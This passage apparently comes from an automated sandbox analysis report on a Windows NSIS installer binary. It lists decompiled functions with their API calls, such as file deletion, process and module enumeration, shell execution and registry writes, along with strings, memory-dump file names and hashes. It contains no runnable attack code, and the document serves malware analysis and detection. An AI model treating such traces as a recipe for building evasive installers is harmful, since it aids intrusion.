Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58

Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004CF0A0), ref: 00406CE4
lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
lstrlenW.KERNEL32(?), ref: 00406D58
FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
FindClose.KERNEL32(?), ref: 00406E5F

Strings

RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
RMDir: RemoveDirectory("%s"), xrefs: 00406E9B
ptF, xrefs: 00406D1A
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84
Delete: DeleteFile failed("%s"), xrefs: 00406E29
Delete: DeleteFile("%s"), xrefs: 00406DE8
Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C
\*.*, xrefs: 00406D2F
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
API String ID: 2035342205-1650287579
Opcode ID: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
Opcode Fuzzy Hash: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE

Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 00404525
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
GetDlgItem.USER32(?,000003FB), ref: 00404553
GetAsyncKeyState.USER32(00000010), ref: 0040455A
GetDlgItem.USER32(?,000003F0), ref: 0040456F
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
SetWindowTextW.USER32(?,?), ref: 004045AF
SHBrowseForFolderW.SHELL32(?), ref: 00404669
lstrcmpiW.KERNEL32(0046E220,00451D98,00000000,?,?), ref: 004046A6
lstrcatW.KERNEL32(?,0046E220), ref: 004046B2
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
CoTaskMemFree.OLE32(00000000), ref: 00404674

Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB

GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426979,759223A0,00000000), ref: 00406902

SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819

Strings

A, xrefs: 00404662
F, xrefs: 004046A0

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: F$A
API String ID: 3347642858-1281894373
Opcode ID: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
Opcode Fuzzy Hash: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59

Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
lstrcmpA.KERNEL32(name,?), ref: 00406FF3
CloseHandle.KERNEL32(?), ref: 00407212

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

GetTTFNameString, xrefs: 00406F33
%s: failed opening file "%s", xrefs: 00406F38
name, xrefs: 00406FEB

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75

Function 00406831 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426979,759223A0,00000000), ref: 00406902
GetSystemDirectoryW.KERNEL32(0046E220,00002004), ref: 00406984

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetWindowsDirectoryW.KERNEL32(0046E220,00002004), ref: 00406997
lstrcatW.KERNEL32(0046E220,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
lstrlenW.KERNEL32(0046E220,00445D80,?,00000000,00404FD5,00445D80,00000000,00426979,759223A0,00000000), ref: 00406A73

Strings

F, xrefs: 00406858
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406952
F, xrefs: 00406A7F
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406A0B

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: F$ F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-1792361021
Opcode ID: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
Opcode Fuzzy Hash: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040AC30,?,00000001,0040AC10,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction ID: 17e7a05f0d3b91d3be5025a92c0a08315d4604efbe7233a371b14ee5b096337f
Opcode Fuzzy Hash: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction Fuzzy Hash: 9E416E74A00205BFCB04EFA0CC99EAE7B79EF48314B20456AF915EB3D1C679A941CB54

Function 004079A2 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction ID: f621f802e1b16f1afd83cb625a9a5dfb13386b99c5f5a138cca70abed5397206
Opcode Fuzzy Hash: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
Instruction Fuzzy Hash: CEE17A71D04218DFCF14CF94D980AAEBBB1AF45301F1981ABEC55AF286D738AA41CF95

Function 0040737E Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction ID: 563abc6a1943806f9f153a5c0538de096a4a033458f435c3a5efc50f2cd88ab2
Opcode Fuzzy Hash: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
Instruction Fuzzy Hash: 67C16831A042598FCF18CF68C9805ED7BA2FF89314F25862AED56A7384E335BC45CB85

Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
lstrlenW.KERNEL32(?), ref: 004063F8
GetVersionExW.KERNEL32(?), ref: 00406456

Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
FreeLibrary.KERNEL32(00000000), ref: 00406500
GlobalFree.KERNEL32(?), ref: 00406509

Strings

EnumProcesses, xrefs: 004064AE
PSAPI.DLL, xrefs: 00406490
Process32NextW, xrefs: 004065F4
GetModuleBaseNameW, xrefs: 004064C0
Unknown, xrefs: 00406528
CreateToolhelp32Snapshot, xrefs: 004065E1
Process32FirstW, xrefs: 004065E9
Module32NextW, xrefs: 0040660A
Module32FirstW, xrefs: 004065FF
EnumProcessModules, xrefs: 004064B6
Kernel32.DLL, xrefs: 004065C7

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59

Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
GetDlgItem.USER32(?,000003E8), ref: 004041AD
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
GetSysColor.USER32(?), ref: 004041DB
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
lstrlenW.KERNEL32(?), ref: 00404202
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E

Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030

GetDlgItem.USER32(?,0000040A), ref: 00404276
SendMessageW.USER32(00000000), ref: 0040427D
GetDlgItem.USER32(?,000003E8), ref: 004042AA
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
SetCursor.USER32(00000000), ref: 004042FE
ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
SetCursor.USER32(00000000), ref: 00404322
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363

Strings

open, xrefs: 0040430B
N, xrefs: 00404298
F, xrefs: 004042D3

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: F$N$open
API String ID: 3928313111-1104729357
Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99

Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD

Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
wsprintfA.USER32 ref: 00406B79
GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
GlobalFree.KERNEL32(00000000), ref: 00406C7E
CloseHandle.KERNEL32(?), ref: 00406C88

Strings

[Rename], xrefs: 00406BF4, 00406C03
NUL, xrefs: 00406ACA
plF, xrefs: 00406B54
%s=%s, xrefs: 00406B6F
^F, xrefs: 00406ACF

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: ^F$%s=%s$NUL$[Rename]$plF
API String ID: 565278875-3368763019
Opcode ID: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
Opcode Fuzzy Hash: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
